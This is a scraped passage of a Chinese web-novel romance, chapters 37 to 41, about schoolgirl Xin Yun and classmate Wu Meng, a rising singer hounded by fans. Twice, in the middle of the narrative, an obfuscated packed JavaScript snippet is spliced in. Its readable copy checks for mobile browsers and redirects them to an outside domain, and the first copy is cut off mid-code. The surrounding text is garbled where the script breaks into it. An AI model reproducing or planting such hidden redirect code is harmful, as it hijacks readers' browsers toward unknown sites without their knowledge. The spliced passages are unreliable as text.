“不只是鸭子,你知道鱼身上最好吃的部分是什么吗?是鱼唇,把鱼炖得烂烂的,用筷子一夹就能把鱼唇夹下来,放进嘴里一嗦,就跟嗦果冻一样……” “停停停,别说了,咱们还是换个话题吧。”最后还是辛蕴举手投降。 大概是这一场关于鸭头的辩论让刚开始的那种距离感消失了不少,两人之间的交流氛围仿佛也回到了以前。 他们自然地聊起过去的这个夏天里发生的一些事,不过大部分时间还是邬蒙在和辛蕴分享他参加节目时遇到的一些特别的人和有趣的事。 邬蒙说话的时候眼神明亮、笑容灿烂,语速不紧不慢,语调平缓有力,自然而然地散发着一种信服力,哪怕是一件不那么有趣的小事从他嘴里说出来好像也变得充满趣味。 辛蕴这才反应过来原来以前邬蒙在学校里的寡言少语只是因为他不想开口而已。如果邬蒙愿意,他有足够的能力让一场对话变得自然有趣。 辛蕴看着灯光下那张比电视屏幕里还要好看几分的脸,突然开口说:“今天刚发生偷拍的事,你现在就敢单独约我出来吃饭,你不怕被拍到啊?” 话一出口,她就意识到是自己太松懈了,在这种时候问这种问题,实在是太破坏气氛。但问已经问了,她只能笑意盈盈地看着邬蒙,等着他的回答。 邬蒙谈兴正足,脸上的笑容带着点意犹未尽的意思,听到辛蕴的问题,他没有说话,只是看着她的眼睛,过了片刻,不答反问:“那你呢,你害怕吗?” 不知道为什么,辛蕴的心因为这句话漏跳了一拍。 是啊,她怕吗? 今天下午“邬蒙恋爱”的这个词条刚上热搜,王诗涵的个人信息就被邬蒙的粉丝和一些好事的吃瓜群众爆了出来,甚至还有一些人围在了王诗涵所在的九班外面看热闹。 辛蕴自问如果今天那件事的女主角换做是她,她会害怕吗? 或许是辛蕴沉默的时间足够长,邬蒙没有等到她的回答就先开口道:“你放心吧,今天约你出来反而是最安全的。” 邬蒙嘴角的那个笑容变得浅淡,他拿起桌上的橙汁,给自己倒了一杯,喝了一口,解释说:“要是我之前约你出来被拍到,今天上热搜的人可能就是你了。要是我过段时间约你出来被拍到,或许也会上热搜。但唯独今天不会,今天刚闹过一出,大家都累了。” 辛蕴想了想。好像确实是这样。 狼来了的故事她小时候也听过。 现在就算被人拍到他们俩在一起吃饭,邬蒙的那些粉丝恐怕也很难再燃起斗志再把今天的流程再重复一遍了。 气氛因为这个问题一下子冷却了下来。 邬蒙的谈兴似乎也减淡了不少。 辛蕴意识到了,有些懊恼,但又不知道该怎么开口缓和。 “对了,我……”她刚要开口说点什么。 旁边一桌突然走过来一个中年大哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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耳边的虫鸣声、湖面上传来的青蛙叫声,以后身后不远处树林里的蝉鸣声,这些声音混在一起变成了一首夜的交响曲。 过了一会儿。 “你以前答应的事情还作数吗?”邬蒙突然开口问。 辛蕴转头去看,有些疑惑:“什么?” 邬蒙转头瞥她一眼,坐了起来。“没什么。”他摇摇头,拍了拍身上的草屑,说:“走吧,我送你回家。” 辛蕴还要再问,但是邬蒙已经抬脚离开,她只好站起来跟了上去。 这座公园修建在路边,前面就是一片人工湖,两人一口气跑下来的时候还不觉得有什么,但现在往出口走却觉得有种山路十八弯的感觉,那一层层的台阶好像怎么爬都爬不完。 邬蒙瞥了一眼旁边,见两人左手边的位置有一堵墙,从那里翻上去就是人行道。 “走那边吧。”他说。 辛蕴看了一眼,猜出了邬蒙的意图,语气有些犹豫:“你不会要爬上去吧?” 这堵墙也太高了吧,邬蒙爬不爬得上去辛蕴不知道,但她知道她自己是绝对爬不上去的。 邬蒙走到那堵墙下,没有犹豫,双手一撑轻轻松松翻了上去。 辛蕴看得目瞪口呆,见邬蒙站在上面冲她招手,她有些尴尬地摇摇头,说:“不用了,不用了,我还是走楼梯吧。” 让她用笨拙狼狈的姿势在他面前爬墙,她还真不如老老实实去爬楼梯。 邬蒙却坚持让她过去试试看。 辛蕴没办法,走到跟前,抬头看着他,说:“这墙都到我鼻子这么高了,我肯定……” 话还没说完,她觉得身体一轻。 在辛蕴反应过来之前,邬蒙弯腰一把将她提溜上去了。 那墙不矮,她不是骨瘦如柴,邬蒙的姿势还不好使力。 他就这么轻轻松松地把她提上来了??? 辛蕴站在墙上,一时间脑子懵懵的,心里只有一句话—— 孩子脑子好不好不知道,力气是真大。 38. 第 38 章 那天晚上回去,辛蕴躺在床上,脑中一直在回想刚才的场景。 可越是回想她越是觉得记忆一片模糊。 她竟然完全不记得当时自己是怎么被邬蒙抱到那堵墙上去的。 她只记得自己腾空的那一瞬间,那种感觉轻飘飘的,像是在做梦。 邬蒙把她抱了上去,他的双手环着她的肩膀,他的呼吸落在她的头顶,那场景应该是极其浪漫美好的。 可惜,辛蕴越是渴望想起来那些细节,越是觉得大脑一片空白。 还有,邬蒙说的“之前答应他的事情”,那是什么? 她答应他什么了?她怎么完全没印象? 辛蕴感觉自己今天度过了无比漫长的一天,她躺在床上看着头顶的天花板发呆,只觉得眼皮越来越重。 迷迷糊糊中,好像有什么东西从她浑沌的大脑中飞闪而过,辛蕴没有来得及抓住,就陷入了沉沉的昏睡中…… - 桃姐对于昨天自己的一系列公关操作十分满意,邬蒙跟她开了一个多小时的电话会议,其中有一大半时间都是听桃姐在自吹自擂—— “我昨天让你在那个时间点发微博没有错吧?刚好借助节目吸引一波流量。你的那些粉丝根本就不是要什么澄清,她们就是要你的一个态度。我做了这么多年的经纪人,对于粉圈心理那是摸得透透的。还有那组照片,你知道我找的那个营销号要价多少吗?一条五千!她还真敢开口……” 邬蒙听得有些不耐烦,索性关了麦克风,拿起旁边的吉他,对着乐谱开始练曲。 一首歌弹到第三遍,桃姐总算歇了口气,电话那边,她清了清嗓子,开始做总结发言—— “总之,这次你也算是因祸得福,那张照片不仅对你造成什么影响,反而还帮着你涨了一波粉丝。节目还有最后一期,等这期节目播完,公司就会正式让你们乐队出道。这一个星期内你们千万不能出任何岔子!” “嗯。”邬蒙挂掉电话,靠在椅背上,长长地叹了一口气。 他的目光落在了手里那把已经有着明显磨损痕迹的吉他上。 这把吉他是邬蒙两年前买的,那时候他的年纪实在太小了,很多跑场子的活根本不要他,他只能去商场门口的广场上卖唱,五块钱一首,十块钱三首。音箱和话筒是阿祥爸爸借他的,手里的那把破吉他是丁丁淘汰下来不要的,邬蒙就靠着这些破烂,一首歌一首歌慢慢唱下来,一点一点地攒下了一千块。 他拿着那一千块,兴冲冲地跑到琴行里买下了这把吉他。 在之后的很长一段时间里,这把吉他陪着邬蒙度过了无数个夜晚。他曾经背着它淋雨穿行在深夜无人的街道上,曾经带着它飞奔着从一个场子赶往下一个场子,也曾经抱着它蹲在酒吧休息室的角落里昏昏欲睡。 邬蒙知道它只是一把廉价的吉他,但每次他从吉他包里把它拿出来的时候,他的心情总是激动的、自豪的。因为这是他的第一把新吉他,是他自己赚钱买来的吉他,他可以用这把吉他去赚更多的钱。 直到有次节目录制中途,节目组的一位编导突然过来递给邬蒙一把吉他,说“你自己那把吉他实在太次了,还是用这个吧。”那是一把材质上等的昂贵吉他,拿到手的一瞬间,手指扫过琴弦的那刹那,邬蒙心里只有惊叹。 或许只有体验过更好的,才能深刻地明白差的到底有多差。 “咚咚咚”,“咚咚咚”。 一阵敲门声把邬蒙的思绪拉了回来。 “阿蒙,今天要去学校吗?”门外传来了容静的声音。 邬蒙回过神,低头看了一眼手机——晚上六点半,一中快要上晚自习了。 他放下手里的吉他,拿起书包,站了起来,说:“去。” 以前学校对于邬蒙来说就是一个抽空去点卯补觉的地方,有时候家里呆不下去,他可以去学校里躲躲闲。 可现在那个地方却明显变成了一个是非之地,邬蒙知道他以后再也没有办法像以往一样安安心心地趴在课桌上睡觉了。 但桃姐的命令他没有办法违抗,只能老老实实地坐在那里,讲台上政治老师讲得唾沫横飞,邬蒙双眼盯着那些天花乱坠的板书,听得似懂非懂。 好不容易熬到晚自习倒数第二节课的下课铃声敲响,他拿起书包打算开溜。 口袋里的手机突然震动了一下。 看到屏幕上的消息,邬蒙一愣。 - 夜风从空旷的操场上吹来,大概是因为今天上午刚下过一场雨的原因,空气中有点淡淡的湿意。 这个周末一中要举办全校运动会,今天下午学生会的人带着人来这里布置了一下。正中央的主席台上铺着崭新的红毯,后面的白墙上挂着一个红色横幅,旁边的栏杆上系了一圈五颜六色的彩带,绚烂的彩带在风中翻飞着,看起来有种花团锦簇的感觉。 邬蒙站在跑道边,低头看着脚下还沾着雨滴的青草。 身后的铁门发出了“吱呀”一声响。 他转头去看。 昏暗的光影里,一道影子从旁边的白墙上跳了出来,伴随着一阵轻柔到几不可闻的脚步声,那影子渐渐拉长,一直延伸到他脚下的塑胶跑道上,少女纤瘦的身影这才完全暴露在他的视线中。 辛蕴手里拿着一个明黄色的向日葵礼物袋,看到他的那一瞬间,她眼睛亮了起来,随即脸上的表情又变得有些羞涩紧张。 邬蒙扬起嘴角,冲她露出一个笑。 在他注视的目光中,辛蕴走到了他跟前。 “还有一节课呢,你怎么就背着书包要走了?”她问他。 邬蒙一只手垂在身侧,另一只手插在裤子口袋里,说:“校门口有人在蹲我,到时候跟你们一起放学会造成拥堵,闹得鸡飞狗跳的,很麻烦。”他踢了一下塑胶跑道上的小石子,圆滚滚的小石子一路滚到了辛蕴的脚边。 大概是因为史振邦和学校领导那边反应过很多次,现在门卫处那边明显已经加强了防范,这几天围在三班外面的那些社会人士已经明显少了很多,但蹲守在一中大门外的粉丝数量还是只多不少。每次辛蕴从校门走出来的时候总能看到几 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辛蕴没有说话,只是扭头看着那些缠绕在栏杆上的彩带,路灯的光在她的眼眸中闪烁着,像是宝石散发出的火彩。 邬蒙抽出插在裤子口袋里的那只手,从礼物袋子里抽出一张复印纸低头去看,待看清了纸上那些密密麻麻的娟秀字迹,他一愣,随后嘴角上扬。 “你把你的笔记都复印出来送给我?”他声音里透着愉悦,尾音微微上扬,说:“只有我有?你的那个同桌没有吗?” “嗯?”辛蕴的心跳得飞快,听到这话,她怀疑自己是不是听错了,有些疑惑地看着邬蒙,问:“什么?” 邬蒙看着她困惑的双眼,笑着摇摇头,说:“没什么。”他低头看着袋子里那沓厚厚的复印纸,语气很真挚,说:“谢啦。” 上课铃声在此刻敲响。 辛蕴的脸已经快要烧起来了,她顾不上许多,抬头匆匆看他一眼,说:“有什么不懂的可以来问我,我答应过要辅导你的文化课的,你放心,只要你还有这个需要,我一定帮你。” 说完,她头也不回地朝操场出口的方向跑去。 带着水汽的夜风在她耳边划过,感受到身后那道落在她身上的视线,辛蕴觉得自己的双腿都有点不听使唤了,她攥紧手心,朝三班的方向跑过去。 上课铃声已经响过两遍,她有些心急。 好在操场离三班所在的教学楼不算很远。 辛蕴跑上离得最近的一幢教学楼的二楼,穿过一条连廊,对面就是三班的教室。 透过明亮的窗户,她看到讲台上空荡荡的,政治老师还没来。 辛蕴松了一口气,一转头却看到两道身影正趴在连廊的栏杆边扭头看着她。 昏暗的光影里,徐慧敏和宋朵朵站在角落里,两人脸上带着笑容,嘴里正说着什么,目光不约而同地落在了她身上。 辛蕴顾不上想太多,挪开视线,脚步匆匆地往教室里奔去。 39. 第 39 章 邬蒙拎着袋子回到家。 推开门。 容静睡在客厅的那张小沙发上,面前的茶几上东倒西歪地放着几个空酒瓶,客厅里充斥着一股难闻的酒精味。听到有人开门的声音,她挣扎着撑起上半身扭头看过来,见到邬蒙的脸,她略显失望地重新躺了下去。 “你爸呢?他去哪里了……”容静的语气里醉意明显,话还没说完,她整个人又陷入了昏睡中。 邬蒙站在昏暗的光影里,静静地看着沙发上那个模糊的轮廓,脸上没有什么表情。 过了一会儿,他走过去,从旁边的晾衣架上抽出一条毛毯,盖在容静的身上,然后转身回到自己的房间,锁上了门。 隔壁楼传来了一阵敲敲打打的奏乐声。 这个老小区里的白事总是很多,隔三岔五就有老人去世,邬蒙已经记不清这是他第几次在夜里听到这种哀乐声了。 他把袋子里的笔记囫囵倒在了书桌上,白花花的复印纸下雪一般落了下来铺满了小半个桌面。 他这才发现原来辛蕴还细心地把不同科目的笔记分门别类地用夹子分好了类。 一袋蓝莓味的Q.Q糖躺在密密麻麻的笔记中间,在灯光的照耀下,充满童趣味道的包装纸闪闪发亮。 邬蒙愣了一下,拿起那袋Q.Q糖,目光在上面逗留了几秒。 不知道怎么的,脑海中突然浮现出那一晚女孩站在围墙下抬头看向他的那张脸。 当时看到他手脚麻利地翻上那堵墙,辛蕴先是惊讶地睁大了双眼,然后那双漂亮的眼睛变得亮晶晶的,一瞬不瞬地看着他,可当他的目光望向她时,她又闪躲着避开了他的视线,脸上的表情有些紧张有些羞窘,好像课堂上生怕被老师点名的学生。 那一刻邬蒙偏偏起了想要逗弄她的坏心。“你快跟我一样爬上来。”他眼里带着笑意,像个高高在上的将军一样命令她。 女孩的眼睛瞬间瞪得更大了,她仰头看着他,头摇得跟拨浪鼓一样,忙不迭地说:“不行不行,我爬不上去。”她的语速又快又急,好像舌头被什么东西烫到了似的。 如果要邬蒙用一个词语来形容辛蕴的话,他可能会赞美她坚韧、倔强、聪明……但在那一刻,除了“可爱”这两个字,邬蒙想不到任何别的词语。 说起“可爱”,他又想起今晚在操场的跑道边辛蕴把这些笔记递给他时颤动的眼睫。明明紧张到不行,却还是努力维持着平静的表情。 那样的表情让她那张脸看起来格外的生动。 在邬蒙的印象里,辛蕴很多时候就像是一汪平静的湖水,看到这样平静的湖水肯为自己泛起一丝丝的波澜,这本身就是一件让人愉悦的事情。 其实在杭城参加节目录制的那段时间里,邬蒙有时候也会想起辛蕴。 但那个时候他真的是太忙了,从每天一睁眼开始,邬蒙的脑子里就在想着排练、编曲和各种乱七八糟的事情。手机微信里有一大堆置顶的群消息需要他去回复,每天的各种节目流程需要他来一一对接,甚至乐队里的其他成员出现了心理问题还需要他来安抚开解。 辛蕴就像是邬蒙脑海中偶然划过的流星,在很多个不经意的瞬间突然出现,然后又很快消失,没有留下任何痕迹。 直到那一天,邬蒙结束录制回到一中,踏进教室后,没有在那个固定的座位上看到她,那一刻,他心里既意外又失落,甚至控制不住自己的目光在教室里去搜寻她的身影。 邬蒙并不想深究那种失落情绪背后的情感动机。 就像桃姐所说的那样——他现在正处在一个极其关键的时期,任何事情都没有他的前途重要。 况且前几天发生的那件事难道还不够给他一个警醒吗? 当时桃姐那通电话打过来的时候,邬蒙无法形容他有多害怕。不是怕别的,他只害怕和他一起出现在照片上的那个女孩是辛蕴。 辛蕴在三班的处境本来就不好,邬蒙简直不敢想象如果这时候再有什么流言传出来会对她造成怎么样的影响。 处在风暴中心的那种滋味邬蒙比谁都懂,但这是他想要走的路,也是他应该承受的。 可辛蕴明显有另一条路要走,她不应该、也没有办法承受这些。 或许是昨晚没有睡好,邬蒙只觉得自己的脑子涨得有些疼。 他叹了一口气,揉了揉发疼的太阳穴,拉开抽屉,把那袋Q.Q糖扔进去,顺手关上了抽屉。 - 早读课上,辛蕴埋头默写古诗词。 黄丽君挤在旁边,一边喝着豆浆,一边聊着明天一中要举办运动的事情。 “真烦,老史不知道怎么想的,竟然要我去参加跳高项目,我真服了,明天肯定要出洋相了!”她苦着脸抱怨道。 一中每年在九月末都会举办一次全校运动会。 大半个月前体育老师就开始在班里选拔参加运动会的好苗子了。 跑步、铅球、拔河这些难度低、趣味性高的项目还算好,报名的人数不算少。但跨栏、跳高、跳远这几个难度较高的项目几乎没有人想参加。 史振邦在班里动员了好几次,依旧没有人响应,没有办法,他只能通过点兵点将的方式强行让人去参加。 黄丽君很不幸地被选中去参加跳高项目。 “你过去随便跳一下就行了,反正又没有人指望着你拿名次,不要太紧张。”辛蕴安慰道。 黄丽君依旧紧锁着眉头,哀嚎道:“怎么可能不紧张!到时候我像个秤砣一样跳不起来怎么办?我们班的那些人肯定要拍我然后放到班群里笑话我!”她恨恨地猛灌了一口豆浆,说:“真是倒霉!怎么就挑中我了?啊啊啊啊啊啊烦死了!只希望到时候跳高的项目没什么人在意,我悄悄跳完就赶紧下场。” 旁边的潘青昀听见了,嘴角微微扬起,笑着说:“你放心,到时候我带个相机从头到尾地帮你录下来。” 黄丽君眉毛一竖:“什么?!你要是敢拍,我就把你那破相机扔了信不信?!” 潘青昀笑了笑,低头看书不说话。 他不理人,黄丽君就更生气了,伸手想要去打他,但两人中间隔着一个辛蕴,黄丽君的手不够长,几次出手都被潘青昀灵巧地闪躲了过去,她只能猛摇辛蕴的胳膊,撒娇道:“蕴蕴,你帮我打他,你快帮我打他!” 辛蕴有些好笑,她当然不能真的听黄丽君的话去打潘青昀,只能转过头无奈地看他一眼。 潘青昀笑着冲她耸耸肩。 辛蕴正要开口说话,眼角余光却瞥见了邬蒙的身影。< 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慢着……邬蒙为什么要打趣她和潘青昀? 难道邬蒙误会了什么? 难道是这几天班里有人在乱传什么八卦,被邬蒙听到了然后对她和潘青昀的关系产生了误会? 毕竟班里这些人就爱传些莫名其妙的八卦。 潘青昀长得帅,又是一个富二代。这样的男生天生就会吸引别人的关注,不说在三班,就是在整个年级他也有些名气。之前宋朵朵和潘青昀坐在一起的时候就有人传他们俩在谈恋爱,现在辛蕴坐了过来,他的绯闻对象自然就变成了辛蕴。 辛蕴也不是没有听到过一些流言蜚语,但她从来没有把那些无聊至极的八卦放在心上。 一想到邬蒙可能会因为那些八卦误会了什么,辛蕴的心情一下子又从狂喜变成了焦躁不安,甚至是忧心忡忡。 辛蕴握紧了手中的笔,心里只想着等下次有机会她一定要跟邬蒙说清楚这件事。 大概是感受到了落在自己身上的视线,潘青昀转头看了过来,有些疑惑:“怎么了?” 辛蕴勉强挤出来一个微笑,说:“没事。” 话音刚落,史振邦迈进了教室,他走上讲台,清了清嗓子,说:“大家安静一下,有件事要宣布一下。” 辛蕴抬头去看。 “明天周六,学校里要举办运动会,咱们班的邬蒙同学会上主席台进行讲话,到时候会有媒体来拍摄,还会对我们班的同学进行采访。你们提前做一下准备,记得要整理好仪容仪表,不能给我们班丢脸!”史振邦的语调和他的脑袋一样昂得高高的,语气里满是与有荣焉的自豪和骄傲。 辛蕴转头看向邬蒙的方向。 清晨的日光透过窗户玻璃斜斜地照进教室里。 邬蒙坐在教室最后一排,目光平静地看着讲台上的史振邦。 像是早就知道了这个消息,他脸上的表情很平静,既没有欢喜期待,也没有紧张不安。 他眼神里的那种淡然和从容让他看起来像是一个真正的大明星。 一个能够承受任何灯光和瞩目的大明星。 40. 第 40 章 周六这天天气晴朗,上午九点半,一中的运动会准时开始。 全校三个年级总共三十多个班级的学生列队站在操场上,从无人机的视角看过去就像是一块块排列整齐的豆腐块,学生们身上的蓝白两色的校服干净清爽,映衬着脚下碧绿的草坪,看起来朝气蓬勃。 广播里响着激昂的音乐,主席台上校领导们已经就位。 一中的校长发表完讲话,宣布为期两天的运动会正式开始。 随着一声令下,各班的运动员方队在举牌女神的带领下依次进场。 三班的举牌女神是宋朵朵。 她今天穿着一件亮黄色的蓬蓬纱公主裙,及耳的乌黑短发全都束了上去,上面插着一个亮晶晶的皇冠,看起来就像是童话里走出来的贝儿公主。 耳边全都是三班男生起哄尖叫的声音。 辛蕴站在三班的队伍里,看到黄丽君站在不远处的运动员方队里正朝着她这边挤眉弄眼地做鬼脸。辛蕴浅浅扬起嘴角,移开视线,转头看向了主席台。 邬蒙站在校长和年级主任中间,三个人似乎正在聊着什么,气氛看起来很融洽,就连那个一向对三班同学横眉冷对的年级主任也是一副笑眯眯的模样。 主席台下面,几个工作人员已经架好了摄影机器,正在捕捉着现场的精彩画面。 随着各班的运动员方阵一一入场,场内响起了此起彼伏的呐喊助威声—— “高一一班,非同一般!” “二班二班,勇夺桂冠!” “高一三班,猛虎下山!” …… 终于轮到高二三班了,眼看宋朵朵举着牌子姿态优雅地领着运动员方阵入场,三班这边的队伍里霎时间爆发出了一声整齐的呐喊声—— “三班三班,法力无边!对手再强,也得靠边!” 周围的同学们几乎都是扯着嗓子在喊,生怕自己班的气势被别的班级比下去了。 辛蕴也夹在中间喊了一声。 接在他们三班后面的是高二四班,他们同样不甘落后。 “四班四班,颜值担当!大腿一拍,奖杯就来!” …… 等到所有的运动员方阵全部入场,主席台上的校长凑到话筒边,满脸笑容地宣布—— “接下来有请我们的学生代表发表讲话!” 说完,他带头鼓起掌。 早就有人注意到了站在主席台边的邬蒙,台下本来就有些躁动,校长的话刚一出口,操场上顿时响起一阵如山呼海啸般的尖叫声,这声音比刚才任何一个班级的呐喊声都大。 “邬蒙!邬蒙!邬蒙!!!” “邬蒙!邬蒙!邬蒙!!!” 辛蕴站在人群中间,感觉自己几乎就要被那猛烈的音浪淹没,周围所有的一切好像都被那铺天盖地的音浪吞没,她被席卷其中,只觉得胸膛里的那一颗心脏跳得飞快,双眼根本没有办法离开主席台上的那个身影一秒钟。 在那震耳欲聋的欢呼声和尖叫声中,邬蒙双眼含笑,迈着潇洒又轻快的步子走上了主席台。 他穿着一身夏季校服,头发打理得干净清爽,眉眼间意气风发。 辛蕴听到了周围女生压抑不住的激动声音。 “天呐,他好帅!” “我靠,真的是邬蒙!帅疯了啊!!!” 在众人的注视下,主席台上邬蒙微微弯腰,俯身凑近话筒,试了一下音。 “喂。” 少年微微低沉的声音透过广播飘扬在头顶四周。 周围顿时默契地安静了下来。 台上的邬蒙浅浅微笑,将话筒稍稍拨高,站直了身体,朝着台下乌泱泱的人头,自我介绍道:“大家好,我是邬蒙。” 话音刚落,全场瞬间又爆发出了一阵更大的欢呼声,早有提前知道消息的粉丝围在操场周围的栏杆外面声嘶力竭地喊他的名字。 “邬蒙!邬蒙!” “邬蒙!邬蒙!” 邬蒙的嘴角勾起一个浅浅的笑容,等到台下的学生和栏杆外的粉丝喊得差不多了,他淡定地抬起手示意大家安静,那自信从容的风采和他在舞台上的台风一样迷人。 “今天是我们一中举办的第九十三届全校运动会,也是我参加的第二届全校运动会,十分荣幸此刻能站在这里和大家讲话,一直以来我们南城市一中都秉持着‘文化为魂,体育为翼’的教学理念……” 演讲的稿子相当无趣且官方,但是从邬蒙的嘴里说出来却多了几分随意的感觉,丝毫没有打官腔的刻板生硬。 他嘴角噙着一个淡淡的笑,语气不急不缓,目光在台下学生们的队伍里一一划过,仿佛整个世界都只是他的游乐场。 辛蕴无法形容那一刻的邬蒙究竟有多迷人,她甚至已经开始理解邬蒙的那些极端粉丝。如果站在台下看过舞台上表演的邬蒙,应该很难不为他发疯吧? 人的情绪是会传染的,夹在人群中间,那种激动和兴奋会被放大无数倍,这样极致的情绪体验真的很容易让人上瘾。 而此时此刻站在主席台上的邬蒙明显散发着让人疯狂上瘾的致命吸引力。 在全场压抑的躁动中,邬蒙的演讲很快就结束了,他冲台下微微鞠躬致谢,又转身和周围的校领导们打了一个招呼,随后走下主席台。 全场响起了一阵热烈的鼓掌声,那声音中明显夹杂了一丝意犹未尽的失落。 辛蕴的目光追随着邬蒙的背影,她看见他和那几个举着摄像机的工作人员一起消失在了操场的出口处。 开幕式正式结束,接下来就要开始具体的比赛项目了。 周围的学生们分散开来,有组织地朝四周的观众台上涌去。 辛蕴跟随着三班的同学朝事先划定好的观众台区域走去。 她随便挑了一个位置,正要坐下来,旁边突然传来一个声音。 “你坐在这里吗?能帮我看一下外套吗?” 辛蕴转头去看,是潘青昀。 他今天要参加男子4x100米接力跑,这个项目是今天上午的第三个比赛项目,参加这个项目的学生已经在等候区开始热身了。 这并不是一个很出格的请求。 “好的,你放在这里吧。”辛蕴点头答应了。 “谢谢你。”潘青昀冲辛蕴咧咧嘴,露出一个灿烂的笑,将手里的外套搭在了她座位前的栏杆上,又把脖子上挂着的相机取了下来。 辛蕴这才注意到他今天竟然真的带了一个相机。 想起昨天潘青昀和黄丽君斗嘴的模样,她觉得有些好笑,开口问道:“你还真带了相机呀?” 潘青昀冲她眨眨眼,说:“嗯,当然了!”他将相机塞到辛蕴的手里,十分慷慨地表示:“你先帮我保管一下,你要是想拍照可以直接用它拍。” 潘青昀手里的那个相机一看就不便宜,相机不像衣服,要是不小心摔了或者丢了她可赔不起。 辛蕴愣了一下,有些犹豫,正想着措辞开口推脱。 可潘青昀却已经转身跑远了。 她只好抱着那个烫手的相机坐在那里。 今天的第一个比赛项目是男子200米短跑。 辛蕴对体育比赛本就不感兴趣,她的目光百无聊赖地在场内转了几圈。 邬蒙没有再出现。 回想起刚才他站在主席台上的风采,辛蕴只觉得心里空落落的。 突然人群中有人喊了一声她的名字。 “辛蕴,史老师让你回班里一趟。” 辛蕴转头去看。 说话的是三班的一个女同学。 辛蕴愣了一下,心跳瞬间加快: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832061|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道了,谢谢。” 她冲对方道了一声谢,立刻从观众台上站了起来,正要转身离开,想了想,又抱起潘青昀搭在栏杆上的那件外套,这才脚步匆匆地朝三班教室的方向小跑过去。 正如辛蕴猜想的那样,邬蒙果然在三班的教室里。 不只是他,此刻三班教室里还有其他人——那几个媒体工作人员、史振邦、年级主任、校长、还有三班其他的几个同学。 辛蕴迈进教室的时候,那几个工作人员正在采访后排的一个男同学。 “你平时对邬蒙同学的印象是怎么样的?” 男同学明显很紧张,说话有些磕巴:“我和邬蒙同学从高一入学就认识了,他人很好……经常……经常和我们一起打球,他……” 看到辛蕴走进来,史振邦将她拉到了一旁,压低声音交代道:“待会儿记者会问你一些关于邬蒙同学的问题,你应该知道怎么说吧?” 辛蕴的目光看向教室里的某个方向。 邬蒙正和一个气质很商务的陌生中年男性聊着天,他面色平静,嘴角带着恰到好处的社交笑容,一副在成人的世界里游刃有余的模样。 辛蕴捏紧手心,点点头,回答道:“我知道。” 史振邦满意地点点头,又看了一眼那个结巴的男同学,有些怒其不争的模样,道:“真是没出息,让他上镜说几句话也说不利索。” 那个男同学的采访很快就结束了,几个工作人员凑在一起研究了一下摄像机里的素材,又转头和史振邦交流了几句。 史振邦冲辛蕴招招手,示意她过去。 辛蕴的手心渗出一层热汗,她再次转头看向邬蒙。 少年姿势懒懒地靠在窗边,他的目光落在外面的那一棵广玉兰树上,面色平静到有些事不关己的模样。 辛蕴收回目光,将手里的外套和相机放在课桌上,随后走到摄像机前,目光平视着镜头。 工作人员问了她一个类似的问题—— “同学你好,我代替广大的歌迷朋友向你打听一下,在你的印象中,邬蒙同学是个什么样的人呢?” 不知道是不是辛蕴的错觉,她只觉得教室里顿时安静了下来。 明明已经入秋了,比起盛夏,气温明显已经回落了不少,但辛蕴还是觉得自己的后背爬上了一层燥热的汗珠。 她沉默了几秒钟,声音平静又和缓:“邬蒙同学是一个……很温暖的人。” 她的声音因为紧张有些微微发涩。 “虽然很多时候邬蒙同学看起来都有些沉默,但其实他是一个内心很温暖很柔软的人。他有着很敏锐的感知力,能够感知到这个世界的美好,哪怕是最细微的美好,他也能捕捉到。我想这也是他为什么能够把每一首歌曲背后的情感都演绎得很到位的原因。 还有,他是一个很坚韧、很有勇气的人,我很难想象一个只有十七岁的少年能够凭借着自己的努力一步一步走到今天这个位置。我很佩服他,也希望自己有一天能够成为一个和他一样有勇气的人。 总之,邬蒙同学是一个很好很好的人,他值得所有人目光的停留,也值得所有人的喜欢。” 辛蕴的心几乎要跳出了嗓子眼,她一口气说完,看到举着摄像机的那位工作人员冲她比了一个“ok”的手势,这才如释重负地松了一口气。 “很好。”采访辛蕴的记者冲她比了一个大拇指。 辛蕴露出一个笑,下意识地转头看向邬蒙的方向,却发现邬蒙也正看着她。 他的目光一瞬不瞬地盯着她的脸,那张平静的脸上依旧没有什么表情,可望着她的那双眼睛却有些闪烁,里面那些一闪而过的情绪她来不及捕捉。 辛蕴有些不好意思地抿抿嘴。 明亮的日光下,她冲他露出一个笑,嘴角的小梨涡若隐若现。 41. 第 41 章 辛蕴的心跳得飞快,采访结束后,她几乎是逃也似地走出了教室。 刚到观众台,就听到周围有人在喊—— “黄丽君把脚扭伤了!” 辛蕴吓了一跳,回过神来,转头去看,果然看到旁边的等候区里围着几个三班的同学,黄丽君面色痛苦地坐在地上,捂着自己的脚喊痛。 辛蕴赶紧跑了下去,问:“怎么回事?” “呜呜,蕴蕴,你总算来了,疼死我了!”黄丽君哭丧着脸抱怨:“刚才我想试跳一下,没想到那垫子太高了,我根本跳不上去,还把脚扭了,呜呜……” 辛蕴皱着眉看着她红肿的脚踝,道:“我陪你去医务室吧。” 黄丽君说:“我在等体育老师过来呢,我现在跳不了了,得让他安排别人去跳。” “别管这事了,你先去医务室吧。”辛蕴把黄丽君从地上搀了起来,然后又转头交代了旁边的一个三班同学几句,“我先陪黄丽君去医务室,待会儿体育老师要是过来了,麻烦你跟他说一下情况,黄丽君这样子今天应该是跳不了了。” 黄丽君一只脚受了伤,走路一瘸一拐。辛蕴费了好大力气才把她搀扶到了医务室。 医务室的医生询问了一下基本情况,先用碘伏给黄丽君红肿的脚踝消了一下毒,然后又用毛巾裹着冰袋帮她冷敷。 黄丽君一边“嘶嘶”地喊疼,一边龇牙咧嘴地冲辛蕴笑:“我脚扭了也不算是一件坏事,不然待会儿上场也是闹笑话,潘青昀那家伙肯定要偷拍我。” 辛蕴被黄丽君奇葩的脑回路逗笑了,说:“你还别说,潘青昀今天还真带了相机,他……” 